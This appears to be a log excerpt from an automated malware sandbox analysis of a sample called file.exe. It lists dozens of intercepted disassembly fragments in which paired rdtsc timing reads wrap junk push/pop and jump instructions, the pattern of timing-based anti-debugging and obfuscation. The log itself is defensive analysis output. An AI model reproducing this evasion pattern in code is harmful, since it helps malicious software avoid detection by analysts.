Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F517 second address: 133F539 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D20221Dh 0x00000009 push edi 0x0000000a pushad 0x0000000b popad 0x0000000c pop edi 0x0000000d popad 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jnl 00007F148D202216h 0x00000018 push eax 0x00000019 pop eax 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F539 second address: 133F53D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 133F53D second address: 133F54D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jnl 00007F148D202218h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343768 second address: 134376C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13439F9 second address: 1343A01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343A01 second address: 1343A0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jp 00007F148D354EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343A0D second address: 1343A14 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1343B68 second address: 1343B74 instructions: 0x00000000 rdtsc 0x00000002 je 00007F148D354EBEh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1346A6C second address: 1346A73 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134F99E second address: 134F9AA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jnc 00007F148D354EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134F9AA second address: 134F9B6 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F148D20221Eh 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 12A4192 second address: 12A41A2 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F148D354EC2h 0x00000008 jo 00007F148D354EB6h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134DB8B second address: 134DBA9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D202228h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134DBA9 second address: 134DBB2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134DBB2 second address: 134DBB8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134E2CD second address: 134E2D5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134EDC9 second address: 134EDD8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F148D202216h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134EDD8 second address: 134EDDE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134EDDE second address: 134EDF0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jnp 00007F148D202218h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134F0A8 second address: 134F0B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F148D354EB6h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134F0B9 second address: 134F0BD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 134F0BD second address: 134F0D2 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f pop ecx 0x00000010 push ecx 0x00000011 pushad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135846D second address: 1358471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358471 second address: 1358477 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358477 second address: 135847D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135847D second address: 1358487 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F148D354EBCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13585DC second address: 135860F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202229h 0x00000007 push edi 0x00000008 jmp 00007F148D20221Ch 0x0000000d pushad 0x0000000e popad 0x0000000f pop edi 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135860F second address: 1358613 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358613 second address: 135862D instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F148D202220h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 135862D second address: 1358631 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358631 second address: 1358635 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358635 second address: 1358641 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jp 00007F148D354EB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358641 second address: 1358646 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13587CF second address: 13587D3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358B71 second address: 1358B76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358B76 second address: 1358B96 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edi 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358B96 second address: 1358BA2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358CDE second address: 1358CE2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358CE2 second address: 1358CE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358CE8 second address: 1358CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 je 00007F148D354EC2h 0x0000000d push ebx 0x0000000e pushad 0x0000000f popad 0x00000010 pop ebx 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1358FB2 second address: 1358FD5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 js 00007F148D202216h 0x0000000b popad 0x0000000c push ebx 0x0000000d jmp 00007F148D202224h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365CFF second address: 1365D03 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365D03 second address: 1365D2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F148D202223h 0x0000000b popad 0x0000000c jbe 00007F148D20224Fh 0x00000012 push ecx 0x00000013 jno 00007F148D202216h 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365D2C second address: 1365D4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F148D354EC7h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365D4C second address: 1365D50 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364288 second address: 13642A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D354EC3h 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13642A0 second address: 13642A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136457D second address: 1364597 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F148D354EC3h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364709 second address: 1364712 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push esi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364712 second address: 1364741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F148D354EBBh 0x00000009 pop esi 0x0000000a jmp 00007F148D354EBDh 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F148D354EBCh 0x00000018 push edi 0x00000019 pop edi 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364741 second address: 136475D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202228h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136475D second address: 136477D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F148D354EC8h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136477D second address: 13647A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 ja 00007F148D202218h 0x0000000c pushad 0x0000000d popad 0x0000000e pushad 0x0000000f jmp 00007F148D202224h 0x00000014 jno 00007F148D202216h 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13648CC second address: 13648D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13648D0 second address: 1364918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d popad 0x0000000e pushad 0x0000000f push eax 0x00000010 pop eax 0x00000011 jmp 00007F148D202225h 0x00000016 popad 0x00000017 jnc 00007F148D202218h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 pushad 0x00000021 pushad 0x00000022 popad 0x00000023 jnl 00007F148D202216h 0x00000029 pushad 0x0000002a popad 0x0000002b popad 0x0000002c jnp 00007F148D20221Eh 0x00000032 push edi 0x00000033 pop edi 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364918 second address: 136491C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364AAC second address: 1364AB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364AB1 second address: 1364AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jng 00007F148D354EB6h 0x0000000d jnc 00007F148D354EB6h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1364AC4 second address: 1364AC8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365B73 second address: 1365B77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365B77 second address: 1365B85 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1365B85 second address: 1365B89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1369BC8 second address: 1369BD3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 push esi 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop esi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136CAF4 second address: 136CB0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F148D354EC2h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136CCAD second address: 136CCC9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D202228h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136CCC9 second address: 136CD24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EC7h 0x00000007 jnp 00007F148D354EBEh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F148D354EC4h 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F148D354EBDh 0x0000001d jmp 00007F148D354EBDh 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136CD24 second address: 136CD2A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136CD2A second address: 136CD2F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 136CD2F second address: 136CD37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 137DADF second address: 137DAFB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F148D354EBEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a jnp 00007F148D354EC2h 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380994 second address: 1380998 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1380998 second address: 13809BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 jmp 00007F148D354EBFh 0x0000000e jp 00007F148D354EB6h 0x00000014 popad 0x00000015 jng 00007F148D354EBCh 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382A57 second address: 1382A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 push edx 0x00000007 pop edx 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382A60 second address: 1382A6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F148D354EBAh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1382A6E second address: 1382AAF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F148D202226h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push edi 0x00000011 jng 00007F148D202216h 0x00000017 pop edi 0x00000018 push ebx 0x00000019 pushad 0x0000001a popad 0x0000001b jmp 00007F148D202220h 0x00000020 pop ebx 0x00000021 push eax 0x00000022 push edx 0x00000023 push edi 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388141 second address: 1388147 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1388147 second address: 138814B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EE22 second address: 138EE2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 138EE2A second address: 138EE38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 jo 00007F148D202216h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1391C4F second address: 1391C57 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139400F second address: 1394015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394015 second address: 1394030 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F148D354EC6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394030 second address: 1394036 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1394036 second address: 139403C instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139403C second address: 1394046 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139565E second address: 1395662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395662 second address: 1395670 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jbe 00007F148D202216h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1395670 second address: 139567A instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F148D354EB6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139567A second address: 139569F instructions: 0x00000000 rdtsc 0x00000002 jc 00007F148D20221Ch 0x00000008 jc 00007F148D202216h 0x0000000e push eax 0x0000000f jmp 00007F148D20221Dh 0x00000014 pop eax 0x00000015 pop edx 0x00000016 pop eax 0x00000017 push edi 0x00000018 push esi 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139BBD3 second address: 139BBDB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139BD3A second address: 139BD40 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139BD40 second address: 139BD49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139BD49 second address: 139BD4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139BD4E second address: 139BD53 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139BD53 second address: 139BD94 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push ebx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F148D202228h 0x00000011 pushad 0x00000012 jnl 00007F148D202216h 0x00000018 jmp 00007F148D202224h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 139C492 second address: 139C4A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 je 00007F148D354EBCh 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFCE8 second address: 13AFCED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13AFCED second address: 13AFCF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 13B1635 second address: 13B163F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 popad 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
